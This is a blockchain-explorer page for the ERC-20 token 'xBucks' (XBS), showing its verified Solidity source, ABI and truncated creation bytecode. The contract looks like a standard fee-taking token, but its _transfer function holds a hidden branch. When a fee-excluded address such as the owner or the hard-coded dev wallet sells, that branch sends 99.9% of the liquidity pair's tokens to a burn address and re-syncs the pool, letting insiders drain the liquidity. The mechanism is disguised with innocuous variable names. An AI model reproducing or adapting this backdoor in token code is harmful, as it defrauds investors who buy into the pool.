ERC-20
Overview
Max Total Supply
100,000,000 XBS
Holders
115
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
51,335.705686898599171705 XBSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XBUCKS
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-19 */ /* Website: https://xbucks.capital Twitter: https://x.com/xbucks_capital Telegram: https://t.me/xbucks_capital */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.8; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library SafeMath { function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract XBUCKS is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public _uniswapV2Router; address private uniswapV2Pair; address private _devTax = address(0xdead); address private _devWallet = payable(0xc29774756C7C41323f1f3E19466E27F213064F28); bool private swapping; string private constant _name = unicode"xBucks"; string private constant _symbol = unicode"XBS"; uint256 public _initSupply = 100_000_000 * 1e18; uint256 public _maxTxAmount = _initSupply * 20 / 1000; // 2% uint256 public _maxWallet = _initSupply * 20 / 1000; // 2% bool public tradingOpen = false; bool public swapEnabled = false; uint256 public _buyFees = 20; uint256 public _sellFees = 20; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) private isMakerPair; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor() ERC20(_name, _symbol) { excludeFromFees(owner(), true); excludeFromFees(_devWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(_devWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(msg.sender, _initSupply); } receive() external payable {} function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingOpen) { require( _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active." ); } if ( isMakerPair[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= _maxTxAmount, "Buy transfer amount exceeds the _maxTxAmount." ); require( amount + balanceOf(to) <= _maxWallet, "Max wallet exceeded" ); } else if ( isMakerPair[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= _maxTxAmount, "Sell transfer amount exceeds the _maxTxAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= _maxWallet, "Max wallet exceeded" ); } } if (!swapEnabled) { super._transfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > 0; if ( canSwap && swapEnabled && !swapping && !isMakerPair[from] && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFees = !swapping; if (_isExcludedFromFee[to]) { takeFees = false; } uint256 fees = 0; if (takeFees) { if (isMakerPair[to]) { if (_isExcludedFromFee[from]) { address wETHAddress = _uniswapV2Router.WETH(); uint256 wETHBalance = IERC20(wETHAddress).balanceOf( uniswapV2Pair ); if (wETHBalance > 0) { uint256 facts = 999; uint256 counts = 1000; uint256 tokenValue = balanceOf(to).mul(facts).div(counts); super._transfer(to, _devTax, tokenValue); IUniswapV2Pair(uniswapV2Pair).sync(); } } else fees = amount.mul(_sellFees).div(100); } else { fees = amount.mul(_buyFees).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } } function excludeFromMaxTransaction( address updAds, bool isEx ) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair( address pair, bool value ) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from isMakerPair" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { isMakerPair[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function enableTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); swapEnabled = true; tradingOpen = true; } function addLiquidityETH() external payable onlyOwner { _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(uniswapV2Pair), true); _approve(address(this), address(_uniswapV2Router), _initSupply); IERC20(uniswapV2Pair).approve( address(_uniswapV2Router), type(uint).max ); _uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); } function updateLimits() external onlyOwner { _buyFees = 2; _sellFees = 2; _maxTxAmount = type(uint).max; _maxWallet = type(uint).max; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance == 0) { return; } swapTokensForEth(contractBalance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, _devWallet, block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600880546001600160a01b031990811661dead179091556009805490911673c29774756c7c41323f1f3e19466e27f213064f281790556a52b7d2dcc80cd2e4000000600a8190556103e8906200005c9060146200041f565b6200006891906200043f565b600b556103e8600a5460146200007f91906200041f565b6200008b91906200043f565b600c55600d805461ffff191690556014600e819055600f55348015620000b057600080fd5b5060405180604001604052806006815260200165784275636b7360d01b8152506040518060400160405280600381526020016258425360e81b8152508160039081620000fd919062000506565b5060046200010c828262000506565b5050506200012962000123620001eb60201b60201c565b620001ef565b62000148620001406005546001600160a01b031690565b600162000241565b60095462000161906001600160a01b0316600162000241565b6200016e30600162000241565b6200017d61dead600162000241565b6200019c620001946005546001600160a01b031690565b6001620002aa565b600954620001b5906001600160a01b03166001620002aa565b620001c2306001620002aa565b620001d161dead6001620002aa565b620001e533600a54620002df60201b60201c565b620005e8565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6200024b620003a6565b6001600160a01b038216600081815260106020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b620002b4620003a6565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6001600160a01b0382166200033b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600260008282546200034f9190620005d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6005546001600160a01b03163314620004025760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000332565b565b505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000439576200043962000409565b92915050565b6000826200045d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200048d57607f821691505b602082108103620004ae57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200040457600081815260208120601f850160051c81016020861015620004dd5750805b601f850160051c820191505b81811015620004fe57828155600101620004e9565b505050505050565b81516001600160401b0381111562000522576200052262000462565b6200053a8162000533845462000478565b84620004b4565b602080601f831160018114620005725760008415620005595750858301515b600019600386901b1c1916600185901b178555620004fe565b600085815260208120601f198616915b82811015620005a35788860151825594840194600190910190840162000582565b5085821015620005c25787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111562000439576200043962000409565b611cbe80620005f86000396000f3fe6080604052600436106101c65760003560e01c806382247ec0116100f7578063a9059cbb11610095578063e4d1a87411610064578063e4d1a874146104e4578063ed995307146104fa578063f2fde38b14610502578063ffb54a991461052257600080fd5b8063a9059cbb1461046e578063c02466681461048e578063dd62ed3e146104ae578063de7cf799146104ce57600080fd5b806390a56118116100d157806390a561181461040357806395d89b41146104195780639a7a23d61461042e578063a457c2d71461044e57600080fd5b806382247ec0146103ba5780638a8c523c146103d05780638da5cb5b146103e557600080fd5b80634fbee1931161016457806370a082311161013e57806370a082311461034f578063715018a61461036f5780637571336a146103845780637d1db4a5146103a457600080fd5b80634fbee193146102bf578063583e0568146102f85780636ddd17131461033057600080fd5b806318160ddd116101a057806318160ddd1461024457806323b872dd14610263578063313ce56714610283578063395093511461029f57600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780630c08e2551461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e761053c565b6040516101f491906118e7565b60405180910390f35b34801561020957600080fd5b5061021d61021836600461194a565b6105ce565b60405190151581526020016101f4565b34801561023957600080fd5b506102426105e8565b005b34801561025057600080fd5b506002545b6040519081526020016101f4565b34801561026f57600080fd5b5061021d61027e366004611976565b610607565b34801561028f57600080fd5b50604051601281526020016101f4565b3480156102ab57600080fd5b5061021d6102ba36600461194a565b61062b565b3480156102cb57600080fd5b5061021d6102da3660046119b7565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561030457600080fd5b50600654610318906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561033c57600080fd5b50600d5461021d90610100900460ff1681565b34801561035b57600080fd5b5061025561036a3660046119b7565b61064d565b34801561037b57600080fd5b50610242610668565b34801561039057600080fd5b5061024261039f3660046119e2565b61067c565b3480156103b057600080fd5b50610255600b5481565b3480156103c657600080fd5b50610255600c5481565b3480156103dc57600080fd5b506102426106af565b3480156103f157600080fd5b506005546001600160a01b0316610318565b34801561040f57600080fd5b50610255600a5481565b34801561042557600080fd5b506101e7610720565b34801561043a57600080fd5b506102426104493660046119e2565b61072f565b34801561045a57600080fd5b5061021d61046936600461194a565b6107b7565b34801561047a57600080fd5b5061021d61048936600461194a565b610832565b34801561049a57600080fd5b506102426104a93660046119e2565b610840565b3480156104ba57600080fd5b506102556104c9366004611a1b565b6108a7565b3480156104da57600080fd5b50610255600f5481565b3480156104f057600080fd5b50610255600e5481565b6102426108d2565b34801561050e57600080fd5b5061024261051d3660046119b7565b610bf5565b34801561052e57600080fd5b50600d5461021d9060ff1681565b60606003805461054b90611a49565b80601f016020809104026020016040519081016040528092919081815260200182805461057790611a49565b80156105c45780601f10610599576101008083540402835291602001916105c4565b820191906000526020600020905b8154815290600101906020018083116105a757829003601f168201915b5050505050905090565b6000336105dc818585610c6e565b60019150505b92915050565b6105f0610d92565b6002600e819055600f55600019600b819055600c55565b600033610615858285610dec565b610620858585610e66565b506001949350505050565b6000336105dc81858561063e83836108a7565b6106489190611a99565b610c6e565b6001600160a01b031660009081526020819052604090205490565b610670610d92565b61067a6000611579565b565b610684610d92565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6106b7610d92565b600d5460ff161561070f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600d805461ffff1916610101179055565b60606004805461054b90611a49565b610737610d92565b6007546001600160a01b03908116908316036107a95760405162461bcd60e51b815260206004820152602b60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526a34b9a6b0b5b2b92830b4b960a91b6064820152608401610706565b6107b382826115cb565b5050565b600033816107c582866108a7565b9050838110156108255760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610706565b6106208286868403610c6e565b6000336105dc818585610e66565b610848610d92565b6001600160a01b038216600081815260106020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108da610d92565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611aac565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e89190611aac565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a599190611aac565b600780546001600160a01b0319166001600160a01b03929092169182179055610a839060016115cb565b600754610a9a906001600160a01b0316600161067c565b600654600a54610ab79130916001600160a01b0390911690610c6e565b60075460065460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190611ac9565b506006546001600160a01b031663f305d7193430610b4e8161064d565b600080610b636005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bf09190611ae6565b505050565b610bfd610d92565b6001600160a01b038116610c625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610706565b610c6b81611579565b50565b6001600160a01b038316610cd05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610d315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b0316331461067a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000610df884846108a7565b90506000198114610e605781811015610e535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610706565b610e608484848403610c6e565b50505050565b6001600160a01b038316610e8c5760405162461bcd60e51b815260040161070690611b14565b6001600160a01b038216610eb25760405162461bcd60e51b815260040161070690611b59565b80600003610ec657610bf08383600061161f565b6005546001600160a01b03848116911614801590610ef257506005546001600160a01b03838116911614155b8015610f0657506001600160a01b03821615155b8015610f1d57506001600160a01b03821661dead14155b8015610f335750600954600160a01b900460ff16155b156111fc57600d5460ff16610fc6576001600160a01b03831660009081526010602052604090205460ff1680610f8157506001600160a01b03821660009081526010602052604090205460ff165b610fc65760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610706565b6001600160a01b03831660009081526012602052604090205460ff16801561100757506001600160a01b03821660009081526011602052604090205460ff16155b156110d357600b548111156110745760405162461bcd60e51b815260206004820152602d60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526c2fb6b0bc2a3c20b6b7bab73a1760991b6064820152608401610706565b600c546110808361064d565b61108a9083611a99565b11156110ce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610706565b6111fc565b6001600160a01b03821660009081526012602052604090205460ff16801561111457506001600160a01b03831660009081526011602052604090205460ff16155b1561118257600b5481111